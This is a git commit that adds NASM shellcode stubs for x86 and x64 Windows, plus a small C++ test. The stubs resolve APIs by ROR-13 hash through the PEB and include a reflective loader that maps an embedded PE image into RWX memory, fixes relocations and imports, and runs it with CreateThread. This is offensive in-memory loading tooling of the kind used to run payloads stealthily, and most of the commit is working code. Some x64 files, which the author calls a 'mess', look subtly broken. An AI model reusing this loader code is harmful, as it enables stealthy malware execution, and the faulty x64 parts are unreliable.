Writing x64 code assembly headers (Total mess) :(

This commit is contained in:
EgeBalci
2018-07-02 18:01:05 +03:00
parent 1015069e2f
commit ebda5c1069
38 changed files with 1248 additions and 12 deletions
+113
View File
@@ -0,0 +1,113 @@
;-----------------------------------------------------------------------------;
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; Compatible: Windows 7, 2003
; Architecture: x64
; Size: 200 bytes
;-----------------------------------------------------------------------------;
[BITS 64]
; Windows x64 calling convention:
; http://msdn.microsoft.com/en-us/library/9b372w95.aspx
; Input: The hash of the API to call in r10d and all its parameters (rcx/rdx/r8/r9/any stack params)
; Output: The return value from the API call will be in RAX.
; Clobbers: RAX, RCX, RDX, R8, R9, R10, R11
; Un-Clobbered: RBX, RSI, RDI, RBP, R12, R13, R14, R15.
; RSP will be off by -40 hence the 'add rsp, 40' after each call to this function
; Note: This function assumes the direction flag has allready been cleared via a CLD instruction.
; Note: This function is unable to call forwarded exports.
api_call:
push r9 ; Save the 4th parameter
push r8 ; Save the 3rd parameter
push rdx ; Save the 2nd parameter
push rcx ; Save the 1st parameter
push rsi ; Save RSI
xor rdx, rdx ; Zero rdx
mov rdx, [gs:rdx+96] ; Get a pointer to the PEB
mov rdx, [rdx+24] ; Get PEB->Ldr
mov rdx, [rdx+32] ; Get the first module from the InMemoryOrder module list
next_mod: ;
mov rsi, [rdx+80] ; Get pointer to modules name (unicode string)
movzx rcx, word [rdx+74] ; Set rcx to the length we want to check
xor r9, r9 ; Clear r9 which will store the hash of the module name
loop_modname: ;
xor rax, rax ; Clear rax
lodsb ; Read in the next byte of the name
cmp al, 'a' ; Some versions of Windows use lower case module names
jl not_lowercase ;
sub al, 0x20 ; If so normalise to uppercase
not_lowercase: ;
ror r9d, 13 ; Rotate right our hash value
add r9d, eax ; Add the next byte of the name
loop loop_modname ; Loop untill we have read enough
; We now have the module hash computed
push rdx ; Save the current position in the module list for later
push r9 ; Save the current module hash for later
; Proceed to itterate the export address table,
mov rdx, [rdx+32] ; Get this modules base address
mov eax, dword [rdx+60] ; Get PE header
add rax, rdx ; Add the modules base address
cmp word [rax+24], 0x020B ; is this module actually a PE64 executable?
; this test case covers when running on wow64 but in a native x64 context via nativex64.asm and
; their may be a PE32 module present in the PEB's module list, (typicaly the main module).
; as we are using the win64 PEB ([gs:96]) we wont see the wow64 modules present in the win32 PEB ([fs:48])
jne get_next_mod1 ; if not, proceed to the next module
mov eax, dword [rax+136] ; Get export tables RVA
test rax, rax ; Test if no export address table is present
jz get_next_mod1 ; If no EAT present, process the next module
add rax, rdx ; Add the modules base address
push rax ; Save the current modules EAT
mov ecx, dword [rax+24] ; Get the number of function names
mov r8d, dword [rax+32] ; Get the rva of the function names
add r8, rdx ; Add the modules base address
; Computing the module hash + function hash
get_next_func: ;
jrcxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
dec rcx ; Decrement the function name counter
mov esi, dword [r8+rcx*4]; Get rva of next module name
add rsi, rdx ; Add the modules base address
xor r9, r9 ; Clear r9 which will store the hash of the function name
; And compare it to the one we want
loop_funcname: ;
xor rax, rax ; Clear rax
lodsb ; Read in the next byte of the ASCII function name
ror r9d, 13 ; Rotate right our hash value
add r9d, eax ; Add the next byte of the name
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
jne loop_funcname ; If we have not reached the null terminator, continue
add r9, [rsp+8] ; Add the current module hash to the function hash
cmp r9d, r10d ; Compare the hash to the one we are searchnig for
jnz get_next_func ; Go compute the next function hash if we have not found it
; If found, fix up stack, call the function and then value else compute the next one...
pop rax ; Restore the current modules EAT
mov r8d, dword [rax+36] ; Get the ordinal table rva
add r8, rdx ; Add the modules base address
mov cx, [r8+2*rcx] ; Get the desired functions ordinal
mov r8d, dword [rax+28] ; Get the function addresses table rva
add r8, rdx ; Add the modules base address
mov eax, dword [r8+4*rcx]; Get the desired functions RVA
add rax, rdx ; Add the modules base address to get the functions actual VA
; We now fix up the stack and perform the call to the drsired function...
finish:
pop r8 ; Clear off the current modules hash
pop r8 ; Clear off the current position in the module list
pop rsi ; Restore RSI
pop rcx ; Restore the 1st parameter
pop rdx ; Restore the 2nd parameter
pop r8 ; Restore the 3rd parameter
pop r9 ; Restore the 4th parameter
pop r10 ; pop off the return address
sub rsp, 32 ; reserve space for the four register params (4 * sizeof(QWORD) = 32)
; It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP).
push r10 ; push back the return address
jmp rax ; Jump into the required function
; We now automagically return to the correct caller...
get_next_mod: ;
pop rax ; Pop off the current (now the previous) modules EAT
get_next_mod1: ;
pop r9 ; Pop off the current (now the previous) modules hash
pop rdx ; Restore our position in the module list
mov rdx, [rdx] ; Get the next module
jmp next_mod ; Process this module
+80
View File
@@ -0,0 +1,80 @@
;
; Author: Ege Balcı <ege.balci@protonmail.com>
; Version: 1.0
[BITS 32]
[ORG 0]
cld
call Stub ; ...
PE:
incbin "Mem.map" ; PE file image
ImageSize: equ $-PE ; Size of the PE image
Stub:
pop esi ; Get the address of image to esi
call IAT_API ;
%include "iat_api.asm" ;
IAT_API: ;
pop ebp ; Get the address of hook_api to ebp
push dword 0x40 ; PAGE_EXECUTE_READ_WRITE
push dword 0x103000 ; MEM_COMMI | MEM_TOP_DOWN | MEM_RESERVE
push dword ImageSize ; dwSize
push dword 0x00 ; lpAddress
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
call ebp ; VirtualAlloc(lpAddress,dwSize,MEM_COMMIT|MEM_TOP_DOWN|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
test eax,eax ; Check success
jz OpEnd ; If VirtualAlloc fails don't bother :/
push eax ; Save the new base address to stack
call GetAOE ; Get the AOE and image base
%include "relocate.asm" ; Make image base relocation
%include "resolve.asm" ; Call the module responsible for building the import address table
push 0x00000000 ; Push NULL byte string terminator
push 0x6c6c642e ; "lld."
push 0x32336c65 ; "23le"
push 0x6e72656b ; "nrek"
push esp ; Push the address of "kernel32.dll" string
push 0x0726774C ; hash( "kernel32.dll","LoadLibraryA" )
call ebp ; LoadLibraryA("kernel32.dll")
push 0x00000000 ; Push NULL byte string terminator
push 0x64616572 ; "daer"
push 0x68546574 ; "hTet"
push 0x61657243 ; "aerC"
push esp ; Push the address of "CreateThread" string
push eax ; Push the kernel32.dll handle
push 0x7802F749 ; hash( "kernel32.dll","GetProcAddress" )
call ebp ; GetProcAddress(HANDLE,"CreateThread")
add esp,0x20 ; Clean the stack
mov [esp+4],eax ; Save the address of CreateThread API to stack
xor ecx,ecx ; Zero out the ECX
call GetAOE ; Get image base and AOE
mov ebx,[esp] ; Copy the address of new base to ebx
add [esp],eax ; Add the AOE value to new base
Memcpy:
mov al,[esi] ; Move 1 byte of PE image to AL register
mov [ebx],al ; Move 1 byte of PE image to image base
inc esi ; Increase PE image index
inc ebx ; Increase image base index
inc ecx ; Decrease loop counter
cmp ecx,ImageSize ; Check if ECX is 0
jnz Memcpy ; If not loop
mov dword eax,[esp] ; Copy the AOEP to eax
CreateThread:
pop ebx ; Pop back the AOE to ebx
pop ebp ; Pop the address of CreateThread API to EBP
xor eax,eax ; Zero out the eax
push eax ; lpThreadId
push eax ; dwCreationFlags
push eax ; lpParameter
push ebx ; lpStartAddress
push eax ; dwStackSize
push eax ; lpThreadAttributes
call ebp ; CreateThread( NULL, 0, &threadstart, NULL, 0, NULL );
jmp OpEnd ; <-
GetAOE:
mov eax,[esi+0x3C] ; Get the offset of "PE" to eax
mov ebx,[eax+esi+0x34] ; Get the image base address to ebx
mov eax,[eax+esi+0x28] ; Get the address of entry point to eax
ret ; <-
OpEnd:
nop ; Chill ;)
jmp OpEnd ; To infinity and beyond !
+63
View File
@@ -0,0 +1,63 @@
;
; Author: Ege Balcı <ege.balci@protonmail.com>
; Version: 1.0
;
;#- stub.asm ------------------------------------
; (RCX/RDX/R8/R9/R10/R11) = function_parameters
; R10D = hash("lib.dll", "function")
; RSI = &PE
; RBP = &block_api.asm
; RBX = pe_image_base
; RDI = new_image_base
; R12 = pe_address_of_entry
;
;#- relocate.asm -------------------------------
; RCX = &end_of_base_realocation_table
; RDX = base_relocation_delta
; R8 =
;
;
[BITS 64]
[ORG 0]
xor r8,r8 ; Zero out the r8
mov rax,[rsi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE")
mov rcx,[rax+rsi+0xB4] ; Base relocation table size
mov rax,[rax+rsi+0xB0] ; Base relocation table RVA
add rax,rsi ; Base relocation table memory address
add rcx,rax ; End of base relocation table
CalcDelta:
mov rdx,rdi ; Move the new base address to edi
sub rdx,rbx ; Delta value
push dword [rax] ; Reloc RVA
push dword [rax+4] ; Reloc table size
add rax,0x08 ; Move to the reloc descriptor
jmp Fix ; Start fixing
GetRVA:
cmp rcx,rax ; Check if the end of the reloc section ?
jle RelocFin ; If yes goto fin
add rsp,0x08 ; Deallocate old reloc RVA and reloc table size variables
push dword [rax] ; Push new reloc RVA
push dword [rax+4] ; Push new reloc table size
add rax,0x08 ; Move 8 bytes
Fix:
cmp word [rsp],0x08 ; Check if the end of the reloc block
jz GetRVA ; If yes set the next block RVA
mov r8w,word [rax] ; Move the reloc desc to dx
cmp r8w,word 0x00 ; Check if it is a padding word
je Pass
and r8w,0x0FFF ; Get the last 12 bits
add r8,[rsp+4] ; Add block RVA to desc value
add r8,rsi ; Add the start address of the image
add dword [r8],rdi ; Add the delta value to calculated absolute address
Pass:
sub dword [rsp],0x02 ; Decrease the index
add rax,0x02 ; Move to the next reloc desc.
xor r8,r8 ; Zero out edx
jmp Fix ; Loop
RelocFin:
add rsp,0x08 ; Deallocate all vars
+98
View File
@@ -0,0 +1,98 @@
;
; Author: Ege Balcı <ege.balci@protonmail.com>
; Version: 1.0
;
;#- stub.asm ------------------------------------
; (RCX/RDX/R8/R9/R10/R11) = function_parameters
; R10D = hash("lib.dll", "function")
; RSI = &PE
; RBP = &block_api.asm
; RBX = pe_image_base
; RDI = new_image_base
; R12 = pe_address_of_entry
;
;#- relocate.asm -------------------------------
; RCX = &end_of_base_realocation_table
; RDX = base_relocation_delta
; R8 =
;
;#- resolve.asm --------------------------------
; STACK[0] = &_IMPORT_DESCRIPTOR
; R13 = Module HANDLE
; R14 = &IAT
; R15 = &INT
;
;
[BITS 64]
[ORG 0]
mov rax,[rsi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE")
mov rax,[rax+rsi+0x90] ; Import table RVA
add rax,rsi ; Import table memory address (first image import descriptor)
push rax ; Save import descriptor to stack
GetDLLs:
cmp dword [rax],0x00 ; Check if the import names table RVA is NULL
jz Complete ; If yes building process is done
mov rax,[rax+0x0C] ; Get RVA of dll name to eax
add rax,rsi ; Get the dll name address
call LoadLibraryA ; Load the library
mov r13,rax ; Move the dll handle to R13
mov rax,[rsp] ; Move the address of current _IMPORT_DESCRIPTOR to eax
call GetProcs ; Resolve all windows API function addresses
add dword [rsp],0x14 ; Move to the next import descriptor
mov rax,[rsp] ; Set the new import descriptor address to eax
jmp GetDLLs
;-----------------------------------------------------------------------------------
GetProcs:
mov r14,dword [rax+0x10] ; Save the current import descriptor IAT RVA
add r14,rsi ; Get the IAT memory address
mov rax,[rax] ; Set the import names table RVA to eax
add rax,rsi ; Get the current import descriptor's import names table address
mov r15,rax ; Save &INT to R15
Resolve:
cmp dword [rax],0x00 ; Check if end of the import names table
jz AllResolved ; If yes resolving process is done
mov rax,[rax] ; Get the RVA of function hint to eax
cmp rax,0x8000000000000000 ; Check if the high order bit is set
js NameResolve ; If high order bit is not set resolve with INT entry
sub rax,0x800000000000000 ; Zero out the high bit
call GetProcAddress ; Get the API address with hint
jmp InsertIAT ; Insert the address of API tı IAT
NameResolve:
add rax,rsi ; Set the address of function hint
add dword rax,0x02 ; Move to function name
call GetProcAddress ; Get the function address to eax
InsertIAT:
mov rcx,r14 ; Move the IAT address to ecx
mov [rcx],rax ; Insert the function address to IAT
add r14,0x04 ; Increase the import names table index
add r15,0x04 ; Increase the IAT index
mov rax,r15 ; Set the address of import names table address to eax
jmp Resolve ; Loop
AllResolved:
mov rcx,[rsp+4] ; Move the IAT address to ecx
mov dword [rcx],0x00 ; Insert a NULL dword
add rsp,0x08 ; Deallocate index values
pop rcx ; Put back the ecx value
ret ; <-
;-----------------------------------------------------------------------------------
LoadLibraryA:
push rcx ; Save ecx to stack
mov rcx,rax ; Move the address of library name string to RCX
mov r10d,0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call rbp ; LoadLibraryA([esp+4])
sub rsp,0x28 ; Clear the stack
pop rcx ; Retreive ecx
ret ; <-
;-----------------------------------------------------------------------------------
GetProcAddress:
mov rcx,r13 ; Move the module handle to RCX as first parameter
mov rdx,rax ; Save edx to stack
mov r10d,0x7802F749 ; hash( "kernel32.dll", "GetProcAddress" )
call rbp ; GetProcAddress(ebx,[esp+4])
sub rsp,0x28 ; Retrieve ecx
ret ; <-
;-----------------------------------------------------------------------------------
Complete:
pop rax ; Clean out the stack
+73
View File
@@ -0,0 +1,73 @@
;
; Author: Ege Balcı <ege.balci@protonmail.com>
; Version: 1.0
;
;#- stub.asm -----------------------------------
; (RCX/RDX/R8/R9/R10/R11) = function_parameters
; R10D = hash("lib.dll", "function")
; RSI = &PE
; RBP = &block_api.asm
; RBX = pe_image_base
; RDI = new_image_base
; R12 = pe_address_of_entry
;
;#- relocate.asm -------------------------------
;
;
;
;
[BITS 64]
[ORG 0]
cld ; Clear direction flags
call Stub ; Call Stub
PE:
incbin "Mem.map" ; PE file image
ImageSize: equ $-PE ; Size of the PE image
Stub:
pop rsi ; Get the address of image to rsi
call Start ; Call Start
%include "block_api.asm";
Start: ;
pop rbp ; Get the address of hook_api to rbp
mov r9d,dword 0x40 ; PAGE_EXECUTE_READ_WRITE
mov r8d,dword 0x103000 ; MEM_COMMI | MEM_TOP_DOWN | MEM_RESERVE
mov edx,dword ImageSize ; dwSize
mov ecx,dword 0x00 ; lpAddress
mov r10d,0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
call rbp ; VirtualAlloc(lpAddress,dwSize,MEM_COMMIT|MEM_TOP_DOWN|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
test rax,rax ; Check success
jz OpEnd ; If VirtualAlloc fails don't bother :/
sub rsp,0x28 ; Clear stack
mov rdi,rax ; Save the new base address to rdi
mov rax,[rsi+0x3C] ; Get the offset of "PE" to eax
mov rbx,[rax+rsi+0x30] ; Get the image base address to rbx
mov r12,[rax+rsi+0x28] ; Get the address of entry point to r12
%include "relocate.asm" ; Make image base relocation
%include "resolve.asm" ; Call the module responsible for building the import address table
xor rcx,rcx ; Zero out the ECX
mov r13,rdi ; Copy the new base value to rbx
add r13,r12 ; Add the address of entry value to new base address
Memcpy:
mov al,[rsi] ; Move 1 byte of PE image to AL register
mov [rdi],al ; Move 1 byte of PE image to image base
inc rsi ; Increase PE image index
inc rdi ; Increase image base index
inc rcx ; Decrease loop counter
cmp rcx,ImageSize ; Check if ECX is 0
jnz Memcpy ; If not loop
CreateThread:
xor rax,rax ; Zero out the eax
push rax ; lpThreadId
push rax ; dwCreationFlags
mov r9,rax ; lpParameter
mov r8,r13 ; lpStartAddress
mov rdx,rax ; dwStackSize
mov rcx,rax ; lpThreadAttributes
mov r10d,0x160D6838 ; hash( "kernel32.dll","CreateThread" )
call rbp ; CreateThread( NULL, 0, &threadstart, NULL, 0, NULL );
jmp OpEnd ; <-
OpEnd:
nop ; Chill ;)
jmp OpEnd ; To infinity and beyond !
+34
View File
@@ -0,0 +1,34 @@
/*
* =====================================================================================
*
* Filename: test.cpp
*
* Description:
*
* Version: 1.0
* Created: 22-06-2018 15:30:52
* Revision: none
* Compiler: gcc
*
* Author: YOUR NAME (),
* Organization:
*
* =====================================================================================
*/
#include <windows.h>
unsigned char buf[] = { 0x90,0x90,0x90,0x90,0xc3 };
int main(){
void * mem = (void *)VirtualAlloc(NULL,sizeof(buf),MEM_COMMIT,0x40);
CreateThread(NULL,0,LPTHREAD_START_ROUTINE(buf),NULL,0,NULL);
HANDLE dll = LoadLibraryA("user32");
void * proc = (void*)GetProcAddress(HMODULE(dll),"MessageBoxA");
}
BIN
View File
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
View File
+83
View File
@@ -0,0 +1,83 @@
;
; Author: Ege Balcı <ege.balci@protonmail.com>
; Version: 1.0
;
[BITS 32]
[ORG 0]
BuildImportTable:
mov eax,[esi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE")
mov eax,[eax+esi+0x80] ; Import table RVA
add eax,esi ; Import table memory address (first image import descriptor)
push eax ; Save import descriptor to stack
GetDLLs:
cmp dword [eax],0x00 ; Check if the import names table RVA is NULL
jz Complete ; If yes building process is done
mov eax,[eax+0x0C] ; Get RVA of dll name to eax
add eax,esi ; Get the dll name address
call LoadLibraryA ; Load the library
mov ebx,eax ; Move the dll handle to ebx
mov eax,[esp] ; Move the address of current _IMPORT_DESCRIPTOR to eax
call GetProcs ; Resolve all windows API function addresses
add dword [esp],0x14 ; Move to the next import descriptor
mov eax,[esp] ; Set the new import descriptor address to eax
jmp GetDLLs
;-----------------------------------------------------------------------------------
GetProcs:
push ecx ; Save ecx to stack
push dword [eax+0x10] ; Save the current import descriptor IAT RVA
add [esp],esi ; Get the IAT memory address
mov eax,[eax] ; Set the import names table RVA to eax
add eax,esi ; Get the current import descriptor's import names table address
push eax ; Save it to stack
Resolve:
cmp dword [eax],0x00 ; Check if end of the import names table
jz AllResolved ; If yes resolving process is done
mov eax,[eax] ; Get the RVA of function hint to eax
cmp eax,0x80000000 ; Check if the high order bit is set
js NameResolve ; If high order bit is not set resolve with INT entry
sub eax,0x80000000 ; Zero out the high bit
call GetProcAddress ; Get the API address with hint
jmp InsertIAT ; Insert the address of API tı IAT
NameResolve:
add eax,esi ; Set the address of function hint
add dword eax,0x02 ; Move to function name
call GetProcAddress ; Get the function address to eax
InsertIAT:
mov ecx,[esp+4] ; Move the IAT address to ecx
mov [ecx],eax ; Insert the function address to IAT
add dword [esp],0x04 ; Increase the import names table index
add dword [esp+4],0x04 ; Increase the IAT index
mov eax,[esp] ; Set the address of import names table address to eax
jmp Resolve ; Loop
AllResolved:
mov ecx,[esp+4] ; Move the IAT address to ecx
mov dword [ecx],0x00 ; Insert a NULL dword
add esp,0x08 ; Deallocate index values
pop ecx ; Put back the ecx value
ret ; <-
;-----------------------------------------------------------------------------------
LoadLibraryA:
push ecx ; Save ecx to stack
push edx ; Save edx to stack
push eax ; Push the address of linrary name string
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA([esp+4])
pop edx ; Retreive edx
pop ecx ; Retreive ecx
ret ; <-
;-----------------------------------------------------------------------------------
GetProcAddress:
push ecx ; Save ecx to stack
push edx ; Save edx to stack
push eax ; Push the address of proc name string
push ebx ; Push the dll handle
push 0x7802F749 ; hash( "kernel32.dll", "GetProcAddress" )
call ebp ; GetProcAddress(ebx,[esp+4])
pop edx ; Retrieve edx
pop ecx ; Retrieve ecx
ret ; <-
;-----------------------------------------------------------------------------------
Complete:
pop eax ; Clean out the stack
+110
View File
@@ -0,0 +1,110 @@
;-----------------------------------------------------------------------------;
; Author: Ege Balcı <ege.balci[at]invictuseurope[dot]com>
; Compatible: Windows 10/8.1/8/7/2008/Vista/2003/XP/2000/NT4
; Version: 1.0 (25 January 2018)
; Size: 177 bytes
;-----------------------------------------------------------------------------;
; This block locates addresses from import address table with given ror(13) hash value.
; Design is inpired from Stephen Fewer's hash api.
[BITS 32]
; Input: The hash of the API to call and all its parameters must be pushed onto stack.
; Output: The return value from the API call will be in EAX.
; Clobbers: EAX, EBX, ECX and EDX (NOT !! the normal stdcall calling convention because EBX is clobbered)
; Un-Clobbered: ESI, EDI, ESP and EBP can be expected to remain un-clobbered.
; Note: This function assumes the direction flag has allready been cleared via a CLD instruction.
; Note: This function is unable to call forwarded exports.
%define ROTATION 0x0D ; Rotation value for ROR hash
set_essentials:
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
xor eax,eax ; Zero EAX (upper 3 bytes will remain zero until function is found)
mov edx,[fs:eax+0x30] ; Get a pointer to the PEB
mov edx,[edx+0x0C] ; Get PEB->Ldr
mov edx,[edx+0x14] ; Get the first module from the InMemoryOrder module list
mov edx,[edx+0x10] ; Get this modules base address
push edx ; Save the image base to stack (will use this alot)
add edx,[edx+0x3C] ; "PE" Header
mov edx,[edx+0x80] ; Import table RVA
add edx,[esp] ; Address of Import Table
push edx ; Save the &IT to stack (will use this alot)
mov esi,[esp+4] ; Move the image base to ESI
sub esp,0x08 ; Allocate space for import descriptor counter & hash
sub edx,0x14 ; Prepare the import descriptor pointer for processing
next_desc:
add edx,0x14 ; Get the next import descriptor
cmp dword [edx],0x00 ; Check if import descriptor valid
jz not_found ; If import name array RVA is zero finish parsing
mov esi,[esp+0x08] ; Move the import table address to esi
mov si,[edx+0x0C] ; Get pointer to module name string RVA
xor edi,edi ; Clear EDI which will store the hash of the module name
loop_modname: ;
lodsb ; Read in the next byte of the name
cmp al, 'a' ; Some versions of Windows use lower case module names
jl not_lowercase ;
sub al, 0x20 ; If so normalise to uppercase
not_lowercase: ;
ror edi,ROTATION ; Rotate right our hash value
add edi,eax ; Add the next byte of the name
ror edi,ROTATION ; In order to calculate the same hash values as Stephen Fewer's hash API we need to rotate one more and add a null byte.
test al,al ; Check if we read all
jnz loop_modname
; We now have the module hash computed
mov [esp+4],edx ; Save the current position in the module list for later
mov [esp],edi ; Save the current module hash for later
; Proceed to iterate the export address table,
mov ecx,[edx] ; Get the RVA of import names table
add ecx,[esp+0x0C] ; Add image base and get address of import names table
sub ecx,0x04 ; Go 4 byte back
get_next_func:
; use ecx as our EAT pointer here so we can take advantage of jecxz.
add ecx,0x04 ; 4 byte forward
cmp dword [ecx],0x00 ; Check if end of INT
jz next_desc ; If no INT present, process the next import descriptor
mov esi,[ecx] ; Get the RVA of func name hint
cmp esi,0x80000000 ; Check if the high order bit is set
jns get_next_func ; If not there is no function name string :(
add esi,[esp+0x0C] ; Add the image base and get the address of function hint
add dword esi,0x02 ; Move 2 bytes forward to asci function name
; now ecx returns to its regularly scheduled counter duties
; Computing the module hash + function hash
xor edi,edi ; Clear EDI which will store the hash of the function name
; And compare it to the one we want
loop_funcname: ;
lodsb ; Read in the next byte of the ASCII function name
ror edi,ROTATION ; Rotate right our hash value
add edi,eax ; Add the next byte of the name
cmp al,ah ; Compare AL (the next byte from the name) to AH (null)
jne loop_funcname ; If we have not reached the null terminator, continue
add edi,[esp] ; Add the current module hash to the function hash
cmp edi,[esp+0x34] ; Compare the hash to the one we are searching for
jnz get_next_func ; Go compute the next function hash if we have not found it
; If found, fix up stack, call the function and then value else compute the next one...
mov eax,[edx+0x10] ; Get the RVA of current descriptor's IAT
mov edx,[edx] ; Get the import names table RVA of current import descriptor
add edx,[esp+0x0C] ; Get the address of import names table of current import descriptor
sub ecx,edx ; Find the function array index ?
add eax,[esp+0x0C] ; Add the image base to current descriptors IAT RVA
add eax,ecx ; Add the function index
; Now we clean the stack
; We now fix up the stack and perform the call to the desired function...
finish:
mov [esp+0x2C],eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
add esp,0x10 ; Deallocate saved module hash, import descriptor address and import table address
popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
pop ebx ; Pop off the origional return address our caller will have pushed
pop edx ; Pop off the hash value our caller will have pushed
mov eax,[eax] ; Get the add ress of the desired API
call eax ; Call API
push ebx ; Push back the return value
ret ;
; We now automagically return to the correct caller...
not_found:
add esp,0x0F ; Fix the stack
popad ; Restore all registers
ret ; Return
; (API is not found)
+48
View File
@@ -0,0 +1,48 @@
;
; Author: Ege Balcı <ege.balci@protonmail.com>
; Version: 1.0
[BITS 32]
[ORG 0]
xor edx,edx ; Zero out the edx
Relocate:
mov eax,[esi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE")
mov ecx,[eax+esi+0xA4] ; Base relocation table size
mov eax,[eax+esi+0xA0] ; Base relocation table RVA
add eax,esi ; Base relocation table memory address
add ecx,eax ; End of base relocation table
CalcDelta:
mov edi,[esp] ; Move the new base address to edi
sub edi,ebx ; Delta value
push dword [eax] ; Reloc RVA
push dword [eax+4] ; Reloc table size
add eax,0x08 ; Move to the reloc descriptor
jmp Fix ; Start fixing
GetRVA:
cmp ecx,eax ; Check if the end of the reloc section ?
jle RelocFin ; If yes goto fin
add esp,0x08 ; Deallocate old reloc RVA and reloc table size variables
push dword [eax] ; Push new reloc RVA
push dword [eax+4] ; Push new reloc table size
add eax,0x08 ; Move 8 bytes
Fix:
cmp word [esp],0x08 ; Check if the end of the reloc block
jz GetRVA ; If yes set the next block RVA
mov dx,word [eax] ; Move the reloc desc to dx
cmp dx,word 0x00 ; Check if it is a padding word
je Pass
and dx,0x0FFF ; Get the last 12 bits
add edx,[esp+4] ; Add block RVA to desc value
add edx,esi ; Add the start address of the image
add dword [edx],edi ; Add the delta value to calculated absolute address
Pass:
sub dword [esp],0x02 ; Decrease the index
add eax,0x02 ; Move to the next reloc desc.
xor edx,edx ; Zero out edx
jmp Fix ; Loop
RelocFin:
add esp,0x08 ; Deallocate all vars
+83
View File
@@ -0,0 +1,83 @@
;
; Author: Ege Balcı <ege.balci@invictuseurope.com>
; Version: 1.0
;
[BITS 32]
[ORG 0]
BuildImportTable:
mov eax,[esi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE")
mov eax,[eax+esi+0x80] ; Import table RVA
add eax,esi ; Import table memory address (first image import descriptor)
push eax ; Save import descriptor to stack
GetDLLs:
cmp dword [eax],0x00 ; Check if the import names table RVA is NULL
jz Complete ; If yes building process is done
mov eax,[eax+0x0C] ; Get RVA of dll name to eax
add eax,esi ; Get the dll name address
call LoadLibraryA ; Load the library
mov ebx,eax ; Move the dll handle to ebx
mov eax,[esp] ; Move the address of current _IMPORT_DESCRIPTOR to eax
call GetProcs ; Resolve all windows API function addresses
add dword [esp],0x14 ; Move to the next import descriptor
mov eax,[esp] ; Set the new import descriptor address to eax
jmp GetDLLs
;-----------------------------------------------------------------------------------
GetProcs:
push ecx ; Save ecx to stack
push dword [eax+0x10] ; Save the current import descriptor IAT RVA
add [esp],esi ; Get the IAT memory address
mov eax,[eax] ; Set the import names table RVA to eax
add eax,esi ; Get the current import descriptor's import names table address
push eax ; Save it to stack
Resolve:
cmp dword [eax],0x00 ; Check if end of the import names table
jz AllResolved ; If yes resolving process is done
mov eax,[eax] ; Get the RVA of function hint to eax
cmp eax,0x80000000 ; Check if the high order bit is set
js NameResolve ; If high order bit is not set resolve with INT entry
sub eax,0x80000000 ; Zero out the high bit
call GetProcAddress ; Get the API address with hint
jmp InsertIAT ; Insert the address of API tı IAT
NameResolve:
add eax,esi ; Set the address of function hint
add dword eax,0x02 ; Move to function name
call GetProcAddress ; Get the function address to eax
InsertIAT:
mov ecx,[esp+4] ; Move the IAT address to ecx
mov [ecx],eax ; Insert the function address to IAT
add dword [esp],0x04 ; Increase the import names table index
add dword [esp+4],0x04 ; Increase the IAT index
mov eax,[esp] ; Set the address of import names table address to eax
jmp Resolve ; Loop
AllResolved:
mov ecx,[esp+4] ; Move the IAT address to ecx
mov dword [ecx],0x00 ; Insert a NULL dword
add esp,0x08 ; Deallocate index values
pop ecx ; Put back the ecx value
ret ; <-
;-----------------------------------------------------------------------------------
LoadLibraryA:
push ecx ; Save ecx to stack
push edx ; Save edx to stack
push eax ; Push the address of linrary name string
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA([esp+4])
pop edx ; Retreive edx
pop ecx ; Retreive ecx
ret ; <-
;-----------------------------------------------------------------------------------
GetProcAddress:
push ecx ; Save ecx to stack
push edx ; Save edx to stack
push eax ; Push the address of proc name string
push ebx ; Push the dll handle
push 0x7802F749 ; hash( "kernel32.dll", "GetProcAddress" )
call ebp ; GetProcAddress(ebx,[esp+4])
pop edx ; Retrieve edx
pop ecx ; Retrieve ecx
ret ; <-
;-----------------------------------------------------------------------------------
Complete:
+100
View File
@@ -0,0 +1,100 @@
;-----------------------------------------------------------------------------;
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
; Version: 1.0 (24 July 2009)
; Size: 130 bytes
;-----------------------------------------------------------------------------;
[BITS 32]
; Input: The hash of the API to call and all its parameters must be pushed onto stack.
; Output: The return value from the API call will be in EAX.
; Clobbers: EAX, ECX and EDX (ala the normal stdcall calling convention)
; Un-Clobbered: EBX, ESI, EDI, ESP and EBP can be expected to remain un-clobbered.
; Note: This function assumes the direction flag has allready been cleared via a CLD instruction.
; Note: This function is unable to call forwarded exports.
api_call:
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
mov ebp, esp ; Create a new stack frame
xor eax, eax ; Zero EAX (upper 3 bytes will remain zero until function is found)
mov edx, [fs:eax+48] ; Get a pointer to the PEB
mov edx, [edx+12] ; Get PEB->Ldr
mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
next_mod: ;
mov esi, [edx+40] ; Get pointer to modules name (unicode string)
movzx ecx, word [edx+38] ; Set ECX to the length we want to check
xor edi, edi ; Clear EDI which will store the hash of the module name
loop_modname: ;
lodsb ; Read in the next byte of the name
cmp al, 'a' ; Some versions of Windows use lower case module names
jl not_lowercase ;
sub al, 0x20 ; If so normalise to uppercase
not_lowercase: ;
ror edi, 13 ; Rotate right our hash value
add edi, eax ; Add the next byte of the name
loop loop_modname ; Loop until we have read enough
; We now have the module hash computed
push edx ; Save the current position in the module list for later
push edi ; Save the current module hash for later
; Proceed to iterate the export address table,
mov edx, [edx+16] ; Get this modules base address
